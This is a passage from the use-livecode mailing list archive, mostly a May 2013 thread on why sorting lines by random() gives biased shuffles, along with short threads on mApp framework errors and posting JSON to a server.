http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From mcgrath3 at mac.com Thu May 23 15:54:40 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 23 May 2013 15:54:40 -0400 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Message-ID: <43718E51-F2E1-4701-8BAD-4128012097BA@mac.com> LOL?. I just spit my coffee all over my screen?? -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 23, 2013, at 3:52 PM, Bj?rnke von Gierke wrote: > Fuck me that's correct. :( From monte at sweattechnologies.com Thu May 23 15:55:32 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 24 May 2013 05:55:32 +1000 Subject: mApp Framework problems In-Reply-To: <48917015-44B2-49EB-BBC2-1B5C4309466E@mac.com> References: <48917015-44B2-49EB-BBC2-1B5C4309466E@mac.com> Message-ID: Hey folks. I'm nearly home but I probably won't get to look at mApp stuff until late next week. I'm not sure why things would go haywire when deleting anything because it checks the existence of objects in rules before running the rule. Missing objects are ignored. Most likely reason things might go haywire is rule dependencies (objects used as the side of a rule) in the wrong order. Hmm... You may get odd behavior if a rule dependency is deleted. Cheers -- M E R Goulding Software development services mergExt - There's an external for that! On 24/05/2013, at 5:24 AM, Thomas McGrath III wrote: > Monte has a download link on his website for mApp which is interesting in doing UI scaling and positioning. http://mergext.com/mergext/ > > Way down at the bottom. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 23, 2013, at 3:13 PM, Peter Haworth wrote: > >> Ummm... what did I miss? What is mApp? >> >> Pete >> lcSQL Software >> >> >> On Thu, May 23, 2013 at 11:21 AM, Thomas McGrath III wrote: >> >>> Alan, >>> >>> I have been working with mApp a lot the past few days. Although I did not >>> see this particular problem I can say that you have to be careful deleting >>> elements after applying rules to them. I ran into something where >>> everything went haywire after deleting a background group. Let us know what >>> you figure out. >>> >>> Tom >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> mcgrath3 at mac.com >>> >>> On May 23, 2013, at 11:53 AM, Alan Stenhouse >>> wrote: >>> >>>> G'day all >>>> >>>> Am starting to use Monte's mApp framework and have run into a couple of >>> problems: >>>> >>>> 1. Added a datagrid and this works and displays fine on normal >>> resolution displays but on Retina displays for iPhone + iPad nothing is >>> displayed. Seems sort of strange - just want to check if anyone else has >>> done this ok or not? >>>> >>>> 2. In testing/playing further, I now seem to have mucked something else >>> up - am certainly getting some unexpected behaviour (Think this error came >>> up after deleting a datagrid from one of the cards in the UI stack, though >>> there are still datagrids on other cards) . When I now open the mainstack >>> or try testing on the simulator, what had previously worked now gives me >>> the error >>>> >>>> "Could not find stack" >>>> >>>> This error comes from the mApp framework - I can see the code and see >>> that the property (added by the framework) >>>> >>>> mAppProps["UIStack"] >>>> >>>> of my main UI stack is empty, thus resulting in this error. Strange. >>>> >>>> If anyone has ideas I'm keen to learn... or else I'll start again and >>> see if I can somehow replicate. >>>> >>>> Thanks for any help! >>>> >>>> cheers >>>> >>>> Alan :-) >>>> >>>> p.s. Very much looking forward to that high-priority item on the >>> development list - the beer machine! >>>> >>>> -- >>>> Alan Stenhouse >>>> alanstenhouse at hotmail.com >>>> >>>> Check out our apps on the App Store: >>>> >>>> BeatSpeak - the multilingual talking metronome; >>>> EV-Point - Find your nearest Electric Vehicle Recharge Station. >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Thu May 23 15:57:33 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 23 May 2013 12:57:33 -0700 Subject: JSON In-Reply-To: References: Message-ID: <519E74AD.10706@fourthworld.com> Thomas McGrath III wrote: > I have a server project where I need to send some JSON to a URL. > I've never done this before. Has anyone got a simple > example/explanation of how this is achieved? I had to do that for a project recently, and I just sent the JSON to the server as the data in a POST command. Worked a treat with the server I was sending to. Have you tried POST? Did you encounter any issues with it? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From dsc at swcp.com Thu May 23 15:57:58 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 13:57:58 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> I don't think anybody is claiming that random() does not work. (Some random number generators will break with a bad seed, but that is outside the scope of discussion.) When Chris thought random() was broken, most people suggested he look at his code around the sort. The problem is that randomly assigning sort values will distort the sort because of the handling when sort values are equal. The sort value is assigned independently for each line or item. That means some will be the same. In the same sense, if I sorted on length of the item, those items with the same length will keep the same order. In this random() case, some will have the same randomly selected number. Large values to random() reduces the distortion. For random(2) and a list of 2, the first will be first again 75% of the time. For random(3) and a list of 3, it will be first 53% of the time. For random(999999) it seems to be first 50% of the time for either of those cases. I think you do have a point about lists eventually becoming larger than the large number. If random does something reasonable with an super large number than that might be better. Dar On May 23, 2013, at 12:54 PM, Bj?rnke von Gierke wrote: > So much misinformation in this thread :( > > The random function works! it uses the same code as many other programs to do random stuff. Of course it's using a semi random list, but the technicalities about when random is not random enough does not come into place for sorting lines. > > sort the lines of theList by random(the number of lines in theList) > > This too works. there's no need to make an arbitrary large number _BECAUSE IT MIGHT IN SOME CASES DECREASE RANDOMNESS_. Mostly when your variable grows bigger then anticipated, so usually you're fine. But still, don't use arbitrary magic numbers, it's just bad coding habits. > > As for the original poster: DO NOT SET THE RANDOMSEED!!!! Then your code will start to work as expected, or as erroneous as you coded it ;-) > > > On 23.05.2013, at 03:16, Jacques Hausser wrote: > >> Chris, I think Randy has put his finger on something: the * is before any number or letter in the ASCII numeration. I do not know what the random function uses when randomizing a "set" (I was not even aware of this possibility) but that could well be the ASCII value(s) of the first char(s). >> >> Jacques >> >> Le 23 mai 2013 ? 02:36, Randy Hengst a ?crit : >> >>> Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * >>> >>> My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. >>> >>> I'd be interested in what you discover. >>> >>> be well, >>> randy >>> ----- >>> On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: >>> >>>> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >>>> >>>> set the itemDel to tab >>>> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >>>> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >>>> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >>>> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >>>> >>>> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >>>> >>>> put "one" & cr & "two" & cr & "three" into tLines >>>> sort lines of tLines by random(the number of lines of tLines) >>>> answer tLines >>>> >>>> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >>>> >>>> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >>>> >>>> Thanks again, >>>> Chris >>>> >>>> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >>>> >>>>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>>>> >>>>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>>>> >>>>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>>>> >>>>> Dar >>>>> >>>>> >>>>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>>>> >>>>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>>>> >>>>>> sort lines of myVar by random(the number of lines of myVar) >>>>>> >>>>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>>>> >>>>>> So does anyone have a good way to do this? >>>>>> >>>>>> Thanks, >>>>>> Chris >>>>>> >>>>>> >>>>>> -- >>>>>> Chris Sheffield >>>>>> Read Naturally, Inc. >>>>>> www.readnaturally.com >>>>>> >>>>>> >>>>>> _______________________________________________ >>>>>> use-livecode mailing list >>>>>> use-livecode at lists.runrev.com >>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Thu May 23 15:59:42 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 24 May 2013 05:59:42 +1000 Subject: JSON In-Reply-To: References: Message-ID: Take a look at JSON.org for the file format. I have a desktop/server external that does ArrayToJSON and visa versa if that helps. It's utf8 only. It's currently GPL licensed and I intend to do a commercial license when someone wants one ;-) -- M E R Goulding Software development services mergExt - There's an external for that! On 24/05/2013, at 5:45 AM, Thomas McGrath III wrote: > I have a server project where I need to send some JSON to a URL. I've never done this before. Has anyone got a simple example/explanation of how this is achieved? > > Thanks in advance. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvg at mac.com Thu May 23 16:11:29 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 23 May 2013 22:11:29 +0200 Subject: randomly order a list In-Reply-To: <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> Message-ID: <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> Yes, that is why I myself lean towards a feature request. For example the following line could tell the engine to make a unique random number for each of the supplied lines, to not have the problem with lines that come first getting a higher probability: sort theData by random(the number of lines in theData) of each On 23.05.2013, at 21:57, Dar Scott wrote: > I don't think anybody is claiming that random() does not work. (Some random number generators will break with a bad seed, but that is outside the scope of discussion.) When Chris thought random() was broken, most people suggested he look at his code around the sort. > > The problem is that randomly assigning sort values will distort the sort because of the handling when sort values are equal. The sort value is assigned independently for each line or item. That means some will be the same. > > In the same sense, if I sorted on length of the item, those items with the same length will keep the same order. In this random() case, some will have the same randomly selected number. > > Large values to random() reduces the distortion. For random(2) and a list of 2, the first will be first again 75% of the time. For random(3) and a list of 3, it will be first 53% of the time. For random(999999) it seems to be first 50% of the time for either of those cases. > > I think you do have a point about lists eventually becoming larger than the large number. If random does something reasonable with an super large number than that might be better. > > Dar > > > > > > On May 23, 2013, at 12:54 PM, Bj?rnke von Gierke wrote: > >> So much misinformation in this thread :( >> >> The random function works! it uses the same code as many other programs to do random stuff. Of course it's using a semi random list, but the technicalities about when random is not random enough does not come into place for sorting lines. >> >> sort the lines of theList by random(the number of lines in theList) >> >> This too works. there's no need to make an arbitrary large number _BECAUSE IT MIGHT IN SOME CASES DECREASE RANDOMNESS_. Mostly when your variable grows bigger then anticipated, so usually you're fine. But still, don't use arbitrary magic numbers, it's just bad coding habits. >> >> As for the original poster: DO NOT SET THE RANDOMSEED!!!! Then your code will start to work as expected, or as erroneous as you coded it ;-) >> >> >> On 23.05.2013, at 03:16, Jacques Hausser wrote: >> >>> Chris, I think Randy has put his finger on something: the * is before any number or letter in the ASCII numeration. I do not know what the random function uses when randomizing a "set" (I was not even aware of this possibility) but that could well be the ASCII value(s) of the first char(s). >>> >>> Jacques >>> >>> Le 23 mai 2013 ? 02:36, Randy Hengst a ?crit : >>> >>>> Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * >>>> >>>> My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. >>>> >>>> I'd be interested in what you discover. >>>> >>>> be well, >>>> randy >>>> ----- >>>> On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: >>>> >>>>> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >>>>> >>>>> set the itemDel to tab >>>>> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >>>>> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >>>>> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >>>>> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >>>>> >>>>> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >>>>> >>>>> put "one" & cr & "two" & cr & "three" into tLines >>>>> sort lines of tLines by random(the number of lines of tLines) >>>>> answer tLines >>>>> >>>>> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >>>>> >>>>> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >>>>> >>>>> Thanks again, >>>>> Chris >>>>> >>>>> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >>>>> >>>>>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>>>>> >>>>>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>>>>> >>>>>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>>>>> >>>>>> Dar >>>>>> >>>>>> >>>>>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>>>>> >>>>>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>>>>> >>>>>>> sort lines of myVar by random(the number of lines of myVar) >>>>>>> >>>>>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>>>>> >>>>>>> So does anyone have a good way to do this? >>>>>>> >>>>>>> Thanks, >>>>>>> Chris >>>>>>> >>>>>>> >>>>>>> -- >>>>>>> Chris Sheffield >>>>>>> Read Naturally, Inc. >>>>>>> www.readnaturally.com >>>>>>> >>>>>>> >>>>>>> _______________________________________________ >>>>>>> use-livecode mailing list >>>>>>> use-livecode at lists.runrev.com >>>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>>> >>>>>> >>>>>> _______________________________________________ >>>>>> use-livecode mailing list >>>>>> use-livecode at lists.runrev.com >>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> -- >> >> Use an alternative Dictionary viewer: >> http://bjoernke.com/bvgdocu/ >> >> Chat with other RunRev developers: >> http://bjoernke.com/chatrev/ >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From dsc at swcp.com Thu May 23 16:17:34 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 14:17:34 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Message-ID: On May 23, 2013, at 1:52 PM, Bj?rnke von Gierke wrote: > So we do need the sort to actually be "for each", instead of random. That will work if what we are looking at is random as far as we can tell. For example, by md5Digest( each ) might scramble in a sense, but it would be the same each time. Or something like this could be done. AssignUniqueRandomNumToEachLine myVar sort lines of myVar by assignedUniqueRandomNum( each ) RemoveUniqueRandomNumFromEachLine myVar > Would you guys say this is a bug, or that a feature request for making sort use a unique random value instead of an arbitrary one? I would not be surprised if I have made this mistake. So, the bug is in me. However, since this is a common pitfall, and this is the kind of thing beginners want to do, I think we need some example or even a language feature to help. I think your comments about some big number or magic numbers might apply. That is even more reason to have a language feature help. I'm not sure that a function that returns a list of unique random numbers (whatever that means) will help. (I'm not saying that is what you are suggesting.) A machine that can be set to return a range of numbers in random order might be handy. That might be what we are thinking when we use random() at times. We can create that now and use the function in sort...by.... This can be done in LiveCode: command resetUniqueRandom function uniqueRandom pRange The function can be used where random() is used now. The issue of what to do when there are none available needs to be addressed. Dar From dsc at swcp.com Thu May 23 16:26:18 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 14:26:18 -0600 Subject: randomly order a list In-Reply-To: <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> Message-ID: Hmmm. put randomBytes(8) into sortIV sort lines of myVar by sha1Digest( each & sortIV ) or resetUniqueRandom sort lines of myVar by uniqueRandom( the number of lines of myVar ) -- where resetUniqueRandom and uniqueRandom are custom handlers Dar On May 23, 2013, at 2:11 PM, Bj?rnke von Gierke wrote: > Yes, that is why I myself lean towards a feature request. For example the following line could tell the engine to make a unique random number for each of the supplied lines, to not have the problem with lines that come first getting a higher probability: > > sort theData by random(the number of lines in theData) of each > > On 23.05.2013, at 21:57, Dar Scott wrote: > >> I don't think anybody is claiming that random() does not work. (Some random number generators will break with a bad seed, but that is outside the scope of discussion.) When Chris thought random() was broken, most people suggested he look at his code around the sort. >> >> The problem is that randomly assigning sort values will distort the sort because of the handling when sort values are equal. The sort value is assigned independently for each line or item. That means some will be the same. >> >> In the same sense, if I sorted on length of the item, those items with the same length will keep the same order. In this random() case, some will have the same randomly selected number. >> >> Large values to random() reduces the distortion. For random(2) and a list of 2, the first will be first again 75% of the time. For random(3) and a list of 3, it will be first 53% of the time. For random(999999) it seems to be first 50% of the time for either of those cases. >> >> I think you do have a point about lists eventually becoming larger than the large number. If random does something reasonable with an super large number than that might be better. >> >> Dar >> >> >> >> >> >> On May 23, 2013, at 12:54 PM, Bj?rnke von Gierke wrote: >> >>> So much misinformation in this thread :( >>> >>> The random function works! it uses the same code as many other programs to do random stuff. Of course it's using a semi random list, but the technicalities about when random is not random enough does not come into place for sorting lines. >>> >>> sort the lines of theList by random(the number of lines in theList) >>> >>> This too works. there's no need to make an arbitrary large number _BECAUSE IT MIGHT IN SOME CASES DECREASE RANDOMNESS_. Mostly when your variable grows bigger then anticipated, so usually you're fine. But still, don't use arbitrary magic numbers, it's just bad coding habits. >>> >>> As for the original poster: DO NOT SET THE RANDOMSEED!!!! Then your code will start to work as expected, or as erroneous as you coded it ;-) >>> >>> >>> On 23.05.2013, at 03:16, Jacques Hausser wrote: >>> >>>> Chris, I think Randy has put his finger on something: the * is before any number or letter in the ASCII numeration. I do not know what the random function uses when randomizing a "set" (I was not even aware of this possibility) but that could well be the ASCII value(s) of the first char(s). >>>> >>>> Jacques >>>> >>>> Le 23 mai 2013 ? 02:36, Randy Hengst a ?crit : >>>> >>>>> Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * >>>>> >>>>> My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. >>>>> >>>>> I'd be interested in what you discover. >>>>> >>>>> be well, >>>>> randy >>>>> ----- >>>>> On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: >>>>> >>>>>> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >>>>>> >>>>>> set the itemDel to tab >>>>>> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >>>>>> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >>>>>> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >>>>>> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >>>>>> >>>>>> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >>>>>> >>>>>> put "one" & cr & "two" & cr & "three" into tLines >>>>>> sort lines of tLines by random(the number of lines of tLines) >>>>>> answer tLines >>>>>> >>>>>> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >>>>>> >>>>>> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >>>>>> >>>>>> Thanks again, >>>>>> Chris >>>>>> >>>>>> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >>>>>> >>>>>>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>>>>>> >>>>>>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>>>>>> >>>>>>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>>>>>> >>>>>>> Dar >>>>>>> >>>>>>> >>>>>>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>>>>>> >>>>>>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>>>>>> >>>>>>>> sort lines of myVar by random(the number of lines of myVar) >>>>>>>> >>>>>>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>>>>>> >>>>>>>> So does anyone have a good way to do this? >>>>>>>> >>>>>>>> Thanks, >>>>>>>> Chris >>>>>>>> >>>>>>>> >>>>>>>> -- >>>>>>>> Chris Sheffield >>>>>>>> Read Naturally, Inc. >>>>>>>> www.readnaturally.com >>>>>>>> >>>>>>>> >>>>>>>> _______________________________________________ >>>>>>>> use-livecode mailing list >>>>>>>> use-livecode at lists.runrev.com >>>>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>>>> >>>>>>> >>>>>>> _______________________________________________ >>>>>>> use-livecode mailing list >>>>>>> use-livecode at lists.runrev.com >>>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>>> >>>>>> _______________________________________________ >>>>>> use-livecode mailing list >>>>>> use-livecode at lists.runrev.com >>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> -- >>> >>> Use an alternative Dictionary viewer: >>> http://bjoernke.com/bvgdocu/ >>> >>> Chat with other RunRev developers: >>> http://bjoernke.com/chatrev/ >>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription 